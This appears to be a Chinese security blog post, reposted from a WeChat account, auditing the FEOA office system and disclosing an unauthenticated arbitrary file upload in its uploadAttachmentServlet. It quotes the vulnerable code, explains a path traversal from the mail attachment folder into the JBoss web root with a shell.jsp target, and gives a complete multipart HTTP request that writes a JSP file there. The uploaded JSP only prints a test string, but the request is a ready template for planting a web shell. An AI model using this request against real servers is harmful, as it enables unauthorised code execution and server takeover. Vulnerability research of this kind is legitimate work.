前言
漏洞验证
代码分析
item.write(new File(path, fileName));
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"xxx":"xxx"}}}
原目录
C:/FE/Media/UFMAIL/2022/08/29/
FEOA网站根目录
C:/FE/jboss/web/fe.war/
需要穿越到目录
C:/FE/Media/UFMAIL/2022/08/29/../../../../../jboss/web/fe.war/shell.jsp
|
C:/FE/jboss/web/fe.war/shell.jsp
漏洞利用
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 325
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello321.jsp"
Content-Type: text/plain
<% out.println("test321");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
;
即可绕过,成功解析jsp文件http://127.0.0.1/hello321.jsp;
总结
mail.doUpload(request, response);
原文始发于微信公众号(XINYU2428):FEOA代码审计-前台任意文件上传
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论